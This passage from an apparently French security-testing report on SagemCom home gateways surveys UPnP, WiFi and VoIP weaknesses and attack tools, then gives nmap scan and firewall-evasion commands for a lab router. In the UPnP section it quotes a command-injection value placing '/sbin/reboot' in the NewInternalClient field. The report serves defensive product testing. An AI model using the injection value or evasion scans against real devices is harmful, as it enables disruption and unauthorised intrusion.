informations sur des vulnérabilités, aide à la pénétration de systèmes informatisés et au développement

de signatures pour les IDS. Le plus connu des sous-projets est le Metasploit Framework, un outil pour

le développement et l'exécution d'exploits contre une machine distante. Les autres sous-projets

importants sont la base de données d'Opcode8, l'archive de shellcode, et la recherche dans la sécurité.

1.3.2. Autres types d’attaques

Craquage des mots de passe :

Les attaques dont on va parler dans cette section, sont liées aux consoles d’administration à

distance offert par le TR. Toujours, en se basant sur les résultats des autres scans on peut déterminer

les types de ces consoles (Telnet, SSH). L’attaque la plus connu est l’attaque brute force ou attaque par

dictionnaire pour tenter plusieurs combinaisons de mots de passe.

Plusieurs outils disponibles sont dédies à ces types d’attaque. Parmi eux, on peut citer les plus

connus dans le monde du libre ; Cain & Abel, John the Ripper, Ophcrack et Hydra.

8 Opcode : numéro qui précède chaque instruction afin de déterminer sa nature. (Ex : pour l’architecture x86,

l’Opcode 0x6A correspond à l’instruction PUSH.


Page 34

Attaque DDOS:

Ce sont les attaques qui provoquent l’arrêt total ou partiel d’un service ou d’un système

pendant un certain temps. Le hacker envoi plusieurs paquets TCP sans prendre en considération les

réponses reçues du serveur. Ce dernier, pour chaque requête reçue, il alloue quelques ressources

(Mémoire, Temps processeur, …). Après certain temps, le serveur sera hors service due à la surcharge

des ressources. [35]

2. Module UPnP

2.1. Présentation

Le terme UPnP (Universal Plug and Play) dérivé de Plug and Play ou «on branche et ça

marche» désigne une technologie pour attacher dynamiquement les périphériques à l'ordinateur. De ce

fait, UPnP reprend les concepts de PnP pour les étendre à tout le réseau, facilitant la recherche, la

découverte et la communication entre différents équipements connectés au réseau local.

En effet, cette technologie a été promulguée en 1999 par l’UPnP Consortium, démarré par

Microsoft. Le Forum UPnP comporte au mois de décembre 2009 plus de 894 fournisseurs y compris

des leaders de l‘industrie spécialisés dans le domaine informatique, réseau, systèmes électroniques,

domotique, technologies mobiles, etc.

UPnP est un protocole qui vise à simplifier le déploiement des différents équipements à savoir

les ordinateurs, les équipements électroniques et les équipements mobiles sur le réseau domestique et

assurer leur interopérabilité. Pour ce faire, UPnP utilise TCP/IP et d'autres protocoles IP afin de gérer

des éléments de proximité et exécuter des commandes à distance, etc.

Fonctionnement

Le protocole UPnP comporte six phases fondamentales citées ci-dessous. Ces phases

permettent à un périphérique de s‘intégrer dans le réseau et de communiquer avec les autres

périphériques.

En effet, un périphérique UPnP doit passer tout d‘abord par les phases d‘adressage, de

découverte et de description. Une fois la phase de description achevée, le périphérique UPnP entre

dans les phases de contrôle, de notification et de présentation. Ces trois dernières phases qui sont

indépendantes chronologiquement permettent aux différents équipements UPnP d‘exploiter les

services offerts par les périphériques.

Profile UPnP

Un profil est un ensemble de paramètres et d’actions qui peuvent former un modèle de

fonctionnement cohérent. Les profiles les plus connues sont :


Page 35

Internet Gateway Device (IGD).

Audio/Video (A/V), basis for DLNA.

Plusieurs profils UPnP contiennent des sous profils. Chaque sous profil inclut des actions et

attribues. Ci-dessous un graphe qui présente l’hiérarchie des profils les plus utilisés ainsi que les

principales actions dédiées à chacun d’eux. [16]

Figure 15 Principaux profils UPnP et actions

2.2. Risques et vulnérabilités

Les attaques UPnP visent la vulnérabilité du protocole qui n’exige aucune authentification

avant l’exécution de quelques actions. Si l’UPnP est activé, un utilisateur malveillant connecté sur le

réseau peut lancer des commandes malveillantes en utilisant quelques outils simples et à la portée de

tout le monde. (exemple : action « ForceTermination() » du profile « WANIPConnection » coupe la

connexion vers le réseau WAN).

La défaillance majeure est dans l’action « AddPortMapping », plusieurs attaques peuvent être

réalisées en se basant sur cette action, exactement sur l’attribut « NewInternelClient ».

AddPortMapping permet au client UPnP d’ajouter des règles dans le TR afin d’acheminer le

trafic désiré vers une destination qui est souvent l’adresse IP du client. Un utilisateur malveillant peut

l’utiliser afin de réaliser ces attaques :

Redirection du trafic vers une autre machine sur le réseau : cette approche consiste à rediriger

un trafic indésirable arrivant s ur un port X vers une autre adresse bien spécifique.


Page 36

Figure 16 Redirection vers une autre adresse locale

Redirection du trafic vers l’adresse local du TR : une telle opération permet à un attaquant de

réaliser des attaques sur les services offert en local par le TR (ex : interface web).

Figure 17 Redirection vers l'adresse locale du TR


Page 37

Redirection du trafic vers une adresse IP routable (WAN) : cette opération permet de réaliser

des attaques à travers le TR.

Figure 18 Redirection vers une autre adresse WAN

Une autre attaque possible est l’exécution d’un code Shell sur les TRs basés sur Linux. Au lieu

d’une vraie adresse IP, l’attaquant peut insérer un bout de code dans l’attribue

«AddPortMapping » qui va être exécuté au sein du TR. Cette injection du code est très limitée

et elle ne doit pas dépasser la taille d’une adresse IP (15 caractères). On peut redémarrer le TR

par une action «AddPortMapping» dont l’attribue « NewInternalClient = "‘/sbin/reboot‘" ».

2.3. Outils

Pour tester les services UPnP, il nous faut quelques outils de tests dont on cite :

Sniffeur UPnP : pour capturer le trafic UPnP sur le réseau.

Point de contrôle UPnP : pour détecter les périphériques UPnP et utiliser les actions qu’ils

fournissent.

« Intel Tools for UPnP Technologie » est un ensemble complet d’outils dédié pour les systèmes

d’exploitation Windows permettant de tester l’UPnP. Il inclut les outils suivants :

Intel Device Spy.

Intel AV Media Controller.

Intel Device Sniffer.


Page 38

Dans le monde du libre, on trouve un outil similaire à « Intel Tools ». « GUPnP » et « UPnP

Inspector ». Ces outils offrent une interface graphique et assure la découverte des périphériques UPnP

et le test les différentes actions possibles.

3. Module WIFI

3.1. Présentation

Comme il est indiqué dans le premier chapitre, Les TRs SagemCom offrent la possibilité

d’interconnecter les périphériques sans fil via le WIFI. L’émission des ondes radio ne peut pas être

limitée dans un périmètre restreint pour éviter l’interception indésirable des données par un tiers.

Plusieurs techniques et approches sont mises en place pour assurer la protection des

communications entre les différents équipements d’un même réseau :

Chiffrement des données : les deux techniques connues sont WEP et WPA.

o Le WEP, Wired Equivalent Privacy est un protocole permettant de sécuriser les

réseaux sans fil de type Wifi. Ces réseaux diffusant les messages échangés par ondes

radioélectriques, sont particulièrement sensibles aux écoutes clandestines. Le WEP

tient son nom du fait qu'il devait fournir aux réseaux sans fil une confidentialité

comparable à celle d'un réseau local filaire classique. Cependant, plusieurs

vulnérabilités ont été identifiées dans ce protocole, qui lui rend pratiquement

inutilisable aujourd’hui.

o Le WPA, Wi-Fi Protected Access est un mécanisme permettant aussi de sécuriser les

réseaux sans fil de type Wifi. Il a été créé en réponse aux nombreuses et sévères

faiblesses que des chercheurs ont trouvées dans le mécanisme précédent, le WEP. Il

présente deux modes à savoir :

WPA personnel (WPA-Personal) : connu également sous le nom de mode à

secret partagé ou WPA-PSK (Pre-shared key). Chaque équipement du réseau

sans fil s'authentifie auprès du point d'accès en utilisant la même clé sur 256

bits.

WPA entreprise (WPA-Enterprise) : connu également sous le nom de mode

WPA-802.1X ou WPA-EAP, WPA entreprise est conçu pour les réseaux

d'entreprise et demande à ce que l'on utilise un serveur d'authentification

RADIUS.

Filtrage MAC : cette méthode peut être combinée avec le chiffrement des données transmises

afin d’ajouter un niveau de sécurité définissant la liste des équipements autorisés par adresse

MAC.


Page 39

Autre méthodes et pratiques comme le changement des paramètres par défaut, (exemple : clé

wifi fournit par défaut de fournisseur, l’adresse réseau par défaut, …)


Les risques liés à la mauvaise sécurisation des réseaux sans fil sont [17]:

L'interception de données qui consiste à écouter les transmissions des différents utilisateurs du

réseau sans fil.

Le détournement de connexion qui a comme but l’obtention d'accès à un réseau local ou à

internet.

Le brouillage des transmissions qui consiste à émettre des signaux radio de telle manière à

produire des interférences.

Les dénis de service qui rend le réseau inutilisable en envoyant des commandes factices.

Craquage de clé chiffrement

Plusieurs méthodes peuvent être utiles pour effectuer cette attaque. Avec un réseau sans fil

protégé par une clé WEP, un utilisateur peut le craquer facilement puisque le cryptage WEP utilise le

chiffrement « RC49 » et le vecteur d’initialisation « IV » qui est transmit en claire sur le réseau. Ces

deux composants rendent le protocole WEP sensible à une attaque par clé apparentée10

. La durée de

cette attaque varie en fonction du taux des données transférées.

Pour le WPA/WPA2 ce type d’attaque est presque impossible. Dans le mode « Pre Shared

Key » (WPA/WPA2 Personnel), la phrase de chiffrement peut contenir de 8 à 63 caractères ASCII. En

plus de ça le WPA utilise le protocole de chiffrement TKIP11

qui sert à changer la clé de chiffrement

dynamiquement (WPA2 utilise CCMP12

). Pour craquer la clé, il faut utiliser une attaque dictionnaire.

Le sniffer doit détecter la phase d’authentification d’un client (the Four-Way Handshake13

). Si la vraie

clé n’existe pas dans le dictionnaire, il est impossible de la craquer.

9 RC4 : RC4 est un algorithme de chiffrement à flot conçu en 1987 par Ronald Rivest, l'un des inventeurs du

RSA, pour les Laboratoires RSA. Il est supporté par différentes normes, par exemple dans SSL ou encore WEP. 10 Attaque par clé apparentée : Une attaque par clé apparentée est une forme de cryptanalyse où l'adversaire

peut observer les opérations d'un algorithme de chiffrement lorsqu'il est utilisé avec différentes clés, aux valeurs

inconnues, mais qui sont liées entre elles par des propriétés mathématiques connues de l'attaquant. 11 TKIP : (Temporal Key Integrity Protocol) est un protocole de communication utilisé pour la protection et

l'authentification des données transitant sur un réseau Wifi. 12 CCMP : (Counter-Mode/CBC-Mac protocol) est une méthode de chiffrement définie dans le standard IEEE

802.11i. 13 Four-Way Handshake : Phase d’authentification dans le WPA2, elle consiste à la dérivation et à l'échange

des clefs unicast/multicast à partir de la clef PMK (Pairwise Master Key).

http://fr.wikipedia.org/wiki/Chiffrement

http://fr.wikipedia.org/wiki/Ronald_Rivest

http://fr.wikipedia.org/wiki/Rivest_Shamir_Adleman

http://fr.wikipedia.org/wiki/Laboratoires_RSA

http://fr.wikipedia.org/wiki/Transport_Layer_Security

http://fr.wikipedia.org/wiki/Cryptanalyse

http://fr.wikipedia.org/wiki/Chiffrement

http://fr.wikipedia.org/wiki/Protocole

http://fr.wikipedia.org/wiki/Wi-Fi

http://fr.wikipedia.org/wiki/IEEE_802.11i

http://fr.wikipedia.org/wiki/IEEE_802.11i


Page 40

Autre attaque

Les clés WIFI par défaut sont générées par le constructeur. Elles sont généralement générées à

partir du SSID et l’adresse MAC du TR. Certain pirate informatique ont réussit à déterminer

l’algorithme pour générer la clé.

3.3. Outils

Il existe une gamme d’outils complète pour tester la sécurité du réseau WIFI. Aircrack propose

un ensemble d’outils permettant principalement l’audit de la sécurité du WIFI ainsi que plein d’autres

fonctionnalités comme l’injection des paquets, snif du réseau, craquage de clés de chiffrement, etc. La

suite AirCrack-NG contient les outils suivants :

aircrack-ng : casseur de clés WEP statiques et WPA-PSK (Nouveau type de casseur: PTW14

)

airdecap-ng : décrypteur de fichiers WEP/WPA capturés

airdriver-ng : permet de patcher les drivers, par exemple pour le cas du rtl818715

, qui est utile

pour faire l'injection de paquet

aireplay-ng : programme d'injection de paquets 802.11 (disponible sous Linux et FreeBSD

seulement)

airmon-ng : permet d'activer/désactiver le mode moniteur d'une carte wifi. Avec ce mode la

carte wifi se place en "observateur" du réseau.

airodump-ng : programme de capture de paquets 802.11.

airolib-ng : utile pour le bruteforce de clef WPA. Il permet de créer une base de données

contenant vos fichiers dictionnaire pour un ou plusieurs SSID. Le crack est très rapide avec

cette méthode, cependant la création de la base de données est couteuse en terme de temps.

airserv-ng : permet de lancer une machine avec une interface en mode moniteur, et l'utiliser

depuis une autre machine avec la suite aircrack-ng, en spécifiant l'adresse IP et le port.

airtun-ng : programme pour la création d'une interface virtuelle.

easside-ng : permet de communiquer à un point d'accès en WEP sans connaître la clé.

packetforge-ng : permet de forger des paquets ARP, UDP, ICMP ou personnalisés.

wesside-ng : Crack automatiquement une clef WEP en essayant toutes les attaques.

14 PTW : Amélioration de l’ancienne méthode de craquage de clé WEP, développé par Aircrack. 15 rtl8187 : Pilotes pour les cartes réseaux Wifi sous Linux.


Page 41

4. Module VoIP

4.1. Présentation

La Voix sur IP ou téléphonie IP permet la transmission de la voix dans le réseau IP. Par VoIP,

nous désignons aussi téléphonie par Internet. Parmi ses mécanismes on peut distinguer deux catégories

Systèmes fermés / propriétaires

Systèmes ouverts / libres.

Dans la première catégorie, nous trouvons par exemple le logiciel de la téléphonie applicative

Skype ou Messenger. La seconde catégorie englobe les protocoles ouverts basés sur SIP, H.323 et

IAX2.

Avec la voix sur IP, les appels téléphoniques sont effectués par l‘intermédiaire de la connexion

Internet. Pour ce faire, cette technologie convertit les signaux analogiques de la voix en signaux

numériques; elle les découpe, les compresse, les code, les numérise, puis envoie ces «paquets » dans le

réseau internet.

La course à la réduction des coûts d’une entreprise implique bien souvent la migration du

service de téléphonie vers la Voix sur IP. Ce choix séduit par le retour sur investissements des

communications. Cependant de nombreux paramètres sont bien souvent oubliés ou ignorés. Avant de

franchir le pas, il est nécessaire d’étudier les nouvelles contraintes engendrées. Mis à part la surcharge

du réseau de l’entreprise et la migration de nombreux équipements, la confidentialité des

communications et l’efficacité des plans de secours sont remis en cause. La convergence numérique va

introduire de nouveaux services et par conséquent, de nouvelles vulnérabilités et de nouveaux

vecteurs d’attaques. [18]

4.2. Protocole VoIP

Avec l’évolution du VoIP, plusieurs protocoles et standards ont apparu. Il y a deux types de

protocoles :

Protocoles de signalisations :

Protocoles de transmission de voix :

Dans ce qui suit on va présenter le protocole SIP qui est utilisé par les TRs SagemCom. SIP est un

protocole de signalisation appartenant à la couche application du modèle OSI. Son rôle est d'ouvrir,

modifier et libérer les sessions. L'ouverture de ces sessions permet de réaliser de l'audio ou

vidéoconférence, de l'enseignement à distance, de la voix (téléphonie) et de la diffusion multimédia

sur IP essentiellement. [19]


Page 42

Le protocole SIP utilise le port 5060 TCP ou UDP pour la signalisation et le port 5061 TCP ou

UDP pour la signalisation crypté de la voix.

Le SIP intervient dans les différentes phases de communication entre deux entités :

Localisation du terminal correspondant.

Analyse du profil et des ressources du destinataire.

Négociation du type de média (voix, vidéo, données...) et des paramètres de communication,

Disponibilité du correspondant, détermine si le poste appelé souhaite communiquer, et

autorise l'appelant à le contacter.

Etablissement et suivi de l'appel, avertit les parties appelant et appelé de la demande

d'ouverture de session, gestion du transfert et de la fermeture des appels.

Gestion de fonctions évoluées : cryptage, retour d'erreurs, ...

Les communications SIP se font à l’intermédiaire des requêtes, à chaque requête reçue une

réponse est envoyée caractérisée par un code et un motif. Ci-dessous un tableau descriptif des

différentes requêtes et réponses.

Requêtes Description

Cancel Annulation d'une requête en cours.

Register Méthode d'enregistrement permettant à un agent (UA-User Agent) de communiquer son adresse IP et l'URL où le joindre.

Ack Méthode servant à accuser la réception d'autres requêtes.

Invite Méthode utilisée pour établir des sessions de communication entre agents.

Bye Terminaison d'une session de communication entre agents.

Options Requête permettant d'obtenir les informations relatives aux capacités d'un correspondant, sans pour autant établir d'appel.

Notify Requête de notification d'un évènement consécutif à une requête d'abonnement

Refer Requête de redirection d'un appel vers un autre agent

Prack Requête de sécurisation des réponses provisoires

Info Requête d'information sur la session en cours

Message Requête d'envoi de messages instantanés

Subscribe Requête d'abonnement aux évènements d'un autre agent identifié par son URI

Update Requête de modification d'une session en cours d'établissement Tableau 7 Requêtes SIP

Réponses Description

Provisional (1xx) Requêtes reçues et en cours de traitement

Success (2xx) La requête a été bien reçue, comprise et acceptée

Redirection (3xx) D'autres actions sont nécessaires (par le demandeur) pour mener à bien la requête

Client Error (4xx) La requête comprend des erreurs et ne peut être traitée en l'état

Server Error (5xx) Le serveur a échoué dans le traitement d'une requête à priori valide

Global Failure (6xx) La requête ne peut pas être traitée par aucun serveur

Tableau 8 Codes de réponses SIP


Page 43

Syntaxe SIP :

Similaire au http, le protocole SIP utilise le mode requête/réponse. Il indique la méthode suivie de

l’identifient (URI). La fin de la ligne est réservée à la version du SIP.

Appel entre deux entitéss :

l’appelant envoie une requête

INVITE.

L’appelé retourne une réponse

TRYING-100.

L’appelé retourne une réponse

RINGRING-180 pour la tonalité.

L’appelé retourne une réponse OK-

200.

L’appelant envoi une réponse ACK

et la conversation commence.

(RTP16

DATA)

Quand l’appelant accroche le

téléphone une requête BYE est

envoyée.

L’appelé retourne une réponse OK.


Malgré les avantages du VoIP, la migration vers une telle technologie a des inconvénients

majeurs. L’utilisation de cette technologie sur le réseau présente des risques majeurs qui touchent à

plusieurs axes [20].

Attaque physique

L’implémentation da la norme 802.3af17

ne présente pas que d’avantage car l’exposition des

équipements à la porté des utilisateurs malveillants ou à leur interface d’administration peuvent

16 RTP : Real-Time Transport Protocol, est un protocole de communication informatique se positionnant au

niveau 4 (Couche transport) du Modèle OSI. RTP utilisé avantageusement sur un réseau temps réel. 17 802.3af : Le Power over Ethernet (ou norme IEEE 802.3af) permet de faire passer une tension de 48 V (jusqu'à

12 W de puissance voire plus) en plus des données à 100 Mbit/s ou 1 Gbit/s.

INVITE sip:[email protected] SIP/2.0

Via: SIP/2.0/UDP 192.168.1.102;rport;branch=z9hG4bKvbxaoqar

Max-Forwards: 70

To: [email protected]

Figure 19 Exemple d'appel

http://fr.wikipedia.org/wiki/Protocole_de_communication

http://fr.wikipedia.org/wiki/Couche_transport

http://fr.wikipedia.org/wiki/Mod%C3%A8le_OSI

http://fr.wikipedia.org/wiki/Ethernet

http://fr.wikipedia.org/wiki/Watt

http://fr.wikipedia.org/wiki/Puissance_%28physique%29

http://fr.wikipedia.org/wiki/Donn%C3%A9e


Page 44

provoquer des dégâts énormes qui peuvent aller d’un simple déni de service via la coupure

d’alimentation jusqu’à la dégradation de la qualité de service pour tous les équipements.

Attaque réseau

Le réseau VoIP utilise la même infrastructure que le réseau DATA, ce qui lui rend exposé aux

mêmes problèmes. Ci-dessous, on cite quelque risque :

Malgré que la téléphonie ne nécessite qu’une bande passante réduite, elle requiert un débit

constant. Ce qui lui rend sensible à des attaques de type déni de service ou de congestion du

réseau. Ces types d’attaques peuvent être réalisés en forgeant des paquets malicieux dans le

réseau.

L’écoute passive du réseau qui peut être un point critique car elle touche à la confidentialité

des communications. Cette attaque permet à un pirate de récupérer des informations

confidentielles (par exemple numéro du compte bancaire).

Il y a d’autres attaques sur les protocoles VoIP. Comme le spoofing SIP qui sert à usurper

l’identité d’un utilisateur afin de réaliser des appels gratuits ou envoyer des messages bien

spécifiques pour perturber les communications établies.

Attaque applicative

Les risques peuvent dépasser le périmètre du réseau pour toucher l’aspect applicatif. Les

logiciels utilisés pour le VoIP peuvent être une cible pour les pirates afin de gagner l’accès au serveur

qu’il les héberge.

4.4. Outils

Vu que le VoIP est la tendance actuelle dans le monde de la téléphonie, plusieurs

organisations se sont occupées de la sécurité de ce type de service. On cite par exemple VOIPSA

(Voice over IP Security Alliance) qui essaye de remplir le vide dans ce domaine. Une étude a été

effectuée par VOIPSA dans le but de dégager une liste complète des outils nécessaires pour tester la

sécurité du VoIP. Dans ce qui suit on va citer quelques outils classifié par catégorie :

Sniffing tools : cette catégorie inclut les outils qui servent à capturer et analyser le trafic afin

de déterminer les conversations VoIP actives sur le réseau. (Wireshark, PSIPDump, VoIPong,

UCSniff, rtpBreak, etc)

Scanning and Enumeration tools : cette catégorie inclut les outils nécessaires pour déterminer

l’exsitance du service VoIP, numéro du port, liste des login et utilisateurs, … (Nessus, nmap,

enumIAX, iaxscan, SIPSCAN, SCTPScan, etc)

Flooding tools : cette catégorie inclut les générateurs des paquets et du trafic afin du perturber

les connexions actives et empecher les nouvelles demandes de connexion. (IAXFlooder,

INVITEFlooder, kphone-ddos, RTP Flooder, Scapy, etc)


Page 45

Fuzzing tools : cette catégorie inclut les outils qui servent à générer des paquets VoIP (SIP ou

autre protocole) malformés pour tester le service VoIP (Fuzzy packet, InterState Fuzzer,

Protos, Sip Proxy, VoIPer, etc)

Signaling attacking tools : cette catégorie inclut les outils qui permettent de manipuler la

signalisation entre deux entités ; toutes les attaques liés aux protocoles de signalisation. (Bye

Teardown, VoIPHopper, vnak, etc)

Media attacking tools : cette catégorie inclut les outils qui permettent de manipuler la les

données transférées lors d’une communication entre deux entités ; toutes les attaques liés aux

protocoles de media (transfert de la voix, etc. (RTP InsertSound, RTPInject, SteganRTP, etc)

La plupart des outils cités ci-dessus sont présents dans Backtrack.

Conclusion

Dans ce troisième chapitre, pilier central de notre étude, on a pu présenter les différents

modules du TR, les risques qui peuvent les menacer et les outils possibles pour tester leur sécurité.

Cette approche modulaire, entre dans le cadre de la stratégie adoptée afin de couvrir convenablement

la question de la sécurité des passerelles résidentielles ; approche, qui nous permettra, en plus

d’effectuer des tests de pénétration modulaires, de pouvoir bénéficier de la possibilité de réutiliser

certains concepts issus d’un module sur un autre.

Le chapitre suivant, explicitera alors, les attaques qu’on va réaliser et les scénarios qu’on va

adopter pour dégager le plan de test final essentiel à la mise à l’épreuve sécuritaire des passerelles.

Chapitre 4 Mise en place d’une solution de tests de sécurité des TRs

Page 46

Maintenant que nous avons présenté les différents modules d’un terminal SagemCom, en

spécifiant les risques et les défaillances qui peuvent le menacer, il ne reste qu’à mettre en place une

plateforme de tests ainsi qu’un plan de tests pour couvrir les scénarios envisageables et toucher à

toutes les fonctionnalités de la passerelle (accès réseau, WiFi, UPnP, VoIP, IHM, etc).

Dans ce chapitre, nous commencerons par la présentation de l’environnement de test ; OS,

architecture, équipements, etc. Ensuite, nous allons suivre la démarche modulaire, établie au chapitre

précédent, pour définir et mettre en place les scénarios de tests de sécurité possibles pour chaque

module étudié. Nous terminerons par un tableau récapitulatif des différents cas de tests mis en œuvre

(Voir Annexe 1 et Annexe 2).


Page 47

1. Environnement de test

1.1. Environnement matériel

Avant d’entamer les tests, il faut d’abord préparer la plateforme nécessaire. Dans l’ensemble

des tests nous avons besoin de ces équipements:

Des PCs.

o Pour certains tests de stress on a besoin de plus qu’une machine.

o Pour certains outils qui nécessitent une configuration matérielle précise.

Un TR SagemCom fonctionnel sur lequel les services à tester doivent être activés.

Des téléphones IP.

Cartes réseaux Wifi.

Connexion et accès WAN et LAN.

Dans les tests à réaliser nous avons besoin de différents systèmes d’exploitation. Il existe certains

outils qui nécessitent un système bien défini18

(Linux, Windows, etc).

1.2. Environnement logiciel

1.2.1. Les systèmes d’exploitation dédiés sécurité

Sur le marché on trouve plusieurs systèmes d’exploitations orientés sécurité, ils servent à

regrouper le plus grand nombre d’outils de sécurité dans un seul système pour simplifier la tâche des

experts sécurité et leurs faire gagner du temps dans l’installation et la configuration des outils.

La plupart de ces systèmes sont des distributions Linux personnalisées. Ci-dessous, la liste des

distributions les plus connues :

Matriux

BlackUbuntu

Ubuntutrinux

Vacarm Linux

Samurai Web Testing Framework

BackTrack

La plupart de ces distributions se ressemblent (sauf pour Samurai spécialisé dans la sécurité

des applications web).

18 On peut utiliser des applications Windows sur un système linux et vice-versa avec l’utilisation des logiciels

comme Wine sur Linux et CygWin sur Windows.


Page 48

1.2.2. Choix du système d’exploitation le plus adéquat

Le seul critère de choix est la popularité et le nombre d’utilisateurs dans le monde. Les

développeurs de BackTrack ont réussi à faire de cette distribution la plus connue dans le domaine du

pentesting à l’aide de la communauté (anglaise, française, italienne, allemande, espagnole et

brésilienne) et la mise en place de plusieurs certifications dans les différents domaine de la sécurité

informatique en se basant sur leur produit19

.

Dans ce qui suit, nous présentons la distribution linux « BackTrack » et l’architecture réseau

de la plateforme de test.

Figure 20 Logo BackTrack

BackTrack est une distribution linux orientée sécurité, son but est de regrouper les outils

nécessaires et utiles pour tester la sécurité d’un système réseau. Basé sur Slackware jusqu’à la version

3 et Ubuntu dans les versions ultérieures et margé sa richesse en terme d’outils, BackTrack offre un

environnement très extensible et personnalisable ; installation de nos propres outils si nécessaire,

l’ajout d’autre outils, configuration et personnalisation des outils, etc.

La version actuelle de BackTrack est « BackTrack 5 R1 » sortie le 11 août 2011 et basée sur

« Ubuntu 10.04 ».

Les outils de tests sont classés par catégorie (Voir figure 21); collecte d’informations,

évaluation des vulnérabilités, outils d’exploitation, investigations, etc. Sous chaque catégorie, les

outils sont classés par le type des cibles (architecture réseau, système, base de données, serveur web,

applications, etc) [21].

19 Offensive Security offre plusieurs certifications OSCP (Offensive Security Certified Professional), OSCE

(Offensive Security Certified Expert) et OSWP (Offensive Security Wireless Professional).


Page 49

Figure 21 Menu BackTrack

1.3. Architecture réseau de la plateforme de tests

L’architecture réseau de la plateforme de test en général est composée d’un client WIFI (PC

équipé d’un dongle WIFI), un TR et un téléphone IP. Pour la connectivité, nous avons besoin d’une

connexion internet afin de réaliser des tests depuis le LAN et le WAN.

Figure 22 Architecture réseau de la plateforme de test


Page 50

L’architecture présentée ci-dessus est très générique. Certains scénarios nécessitent une

architecture bien précise tels que :

- Dans le cas des tests de stress, nous avons généralement besoin de plusieurs PCs.

- Dans le cas des tests VoIP, nous avons besoin d’une communication active entre deux

téléphones IP.

Dans ce qui suit, nous définissons les différents tests possibles à réaliser en suivant la même

démarche du chapitre précédent. Pour chaque module étudié nous commençons par la définition des

différents tests possibles à réaliser. Par la suite, chaque test sera accompagné d’une description de son

objectif, des outils nécessaires et des étapes de son déroulement.

2. Module réseau

2.1. Scan des ports, services et OS

Dans le chapitre précédent, nous avons parlé des différents types de scan des ports et nous

avons listé quelques outils nécessaires pour le déroulement des tests. Ci-dessous la liste des tests à

réaliser pour ce sous module :

Test1 : scan des ports (connaitre l’état des ports)

Test2 : scan des services (connaitre les noms de services et leur versions)

Test3 : détection d’OS (détecter le système d’exploitations des TRs)

2.1.1. Outils de tests

L’outil le plus adéquat dans notre cas est « Nmap ». Ce dernier permet la réalisation des

différents types de scan des ports et assure la détection de services et d’OS. Un autre avantage du

nmap est la possibilité de créer des scripts personnalisés afin d’automatiser des tâches, par exemple

script de détection et exploitation des vulnérabilités, découverte du réseau, amélioration de la

détection des versions, etc.

Afin de simplifier la tâche et de fournir des résultats clairs, nous utilisons « Zenmap »,

l’interface graphique du « nmap ». Il fournit plusieurs profils prédéfinis de scan où chaque profil est

caractérisé par une commande nmap et une suite d’options permettant la réalisation d’un type de scan

spécifique. Sinon il est possible de créer un nouveau profil (Voir figure 23).


Page 51

Figure 23 Profil Zenmap

2.1.2. Tests réalisés

Test1 : scan des ports

Vu le grand nombre des services et de fonctionnalités offertes par les TRs SagemCom, un

grand nombre de ports doit être ouvert pour assurer le bon fonctionnement de ces services. Le test a

pour but de:

Vérifier si la spécification du client est bien respectée ou pas. Certains clients demandent une

configuration bien précise concernant l’ouverture et la fermeture de ports.

Vérifier si les ports ouverts pour des besoins lors de la validation du produit sont de nouveau

fermés ou non.

Déterminer les ports ouverts pour la phase « collecte d’information » du pentesting.

Déterminer l’état du pare-feu et son fonctionnement.

Dans la partie suivante, nous présentons les différents scénarios et scans [12].

Scénario 1 : TCP Scan

Ce type de scan est à éviter car il est facilement détectable par le pare-feu s’il existe et laisse

une trace dans les logs du TR. Vu que nous somme dans la phase de test et validation, il faut bien

vérifier que le firewall est bien configuré. Avec nmap il faut utiliser la commande suivante :

-p : les ports à scanner.

-T4 : vitesse de scan [22].

-v : mode verbeuse qui affiche en temps réel l’exécution de scan et génère plus d’information.

nmap -p 1-65535 -sT -T4 -v 192.168.1.1


Page 52

Remarque :

Nous pouvons choisir un ou plusieurs ports mais dans notre cas il est préférable de tester tous

les ports car le TR peut utiliser des ports non standards pour certains services bien spécifiques.

Sous nmap plusieurs options entrent en jeu dans la configuration de la vitesse du scan

(exemple : --max-rtt-timeout --initial-rtt-timeout --max-retries), l’option -T simplifie cette

tâche en offrant plusieurs mode de scan. L’option « -Tx » avec x peut varier de 0 à 5 :

o Paranoid (0) : Envoi d'un paquet toutes les 5 minutes.

o Sneaky (1) : Envoi d'un paquet toutes les 15 secondes.

o Polite (2) : Envoi d'un paquet toutes les 0.4 secondes.

o Normal (3) : Niveau par défaut. Optimise la durée du scan en en minimisant sa durée

sans perte de paquet.

o Aggressive (4) : Attente d'une réponse pendant un maximum de 1.25 secondes au

maximum.

o Insane (5) : Attente d'une réponse pendant un maximum de 0.3 secondes.

Scénario 2 : Syn Scan

Connu aussi par le nom de « stealth Scan », ce scénario a pour but principal de déterminer

l’état des ports dans la cible. Le but de ce scénario est de lister les ports ouverts.

-sS : Syn scan

Remarque :

Le Syn Scan est caractérisé par sa vitesse puisqu’il peut balayer des milliers de ports par

seconde.

Scénario 3 : UDP Scan

Les deux autres scans sont destinés pour vérifier l’état des ports en mode TCP, l’UDP est

nécessaires pour savoir s’il y a des services qui utilisent le protocole UDP.

sU : UDP Scan.

Remarque

le scan UDP est très lent par rapport au SYN Scan. Pour un réseau local il peut dépasser les

deux heures.

Si les scans listés ci-dessus n’aboutissent pas à des résultats clairs, autrement dit le pare-feu utilisé par

les TRs SagemCom résiste à ces types des scans, nous pouvons alors penser à utiliser autre type de

scan pour vérifier si le port en question est filtré ou pas comme :

nmap -p 1-65535 -sU -T4 -v 192.168.1.1

nmap -p 1-65535 -sS -T4 -v 192.168.1.1


Page 53

ACK Scan :

X-mas Scan :

FIN Scan :

Null Scan :

Remarque :

Dans les manipulations réalisées, nous choisissons de faire les scans sur tous les ports afin de

déterminer :

o Si un ou plusieurs ports sont ouverts sans besoin.

o Si un service ou plusieurs services connus tournent sur un port non standard.

Nous pouvons minimiser le temps de scan en spécifiant les numéros des ports à scanner, ce

type du scénario est conseillé pour le UDP Scan vu qu’il est le plus lent des scans. Nous

pouvons fixer les numéros des ports ou utiliser Nmap par défaut20

.

Scénario 4 : technique d’évasion

Nous pouvons utiliser plusieurs techniques d’évasions dont nous citons quelques une :

Utilisation des ports source autorisés car certains pare-feu bloquent les requêtes à partir des

ports non autorisés:

-g : le numéro du port source (exemple : 5060 pour le protocole SIP)

Fragmentation des paquets 21

:

-f : définir le nombre de fragments à envoyer. Nous pouvons utiliser l’option « --mtu » pour définir le

taille des paquets.

20 Nmap scan 1000 ports des services les plus connues si les ports destination ne sont pas spécifiés. 21 Certain pare-feu et système de détection d’intrusion (IDS) ne peuvent pas détecter les paquets fragmentés

nmap -g 20 -f 5 -p 20,21 -sS -T4 -v 192.168.1.1

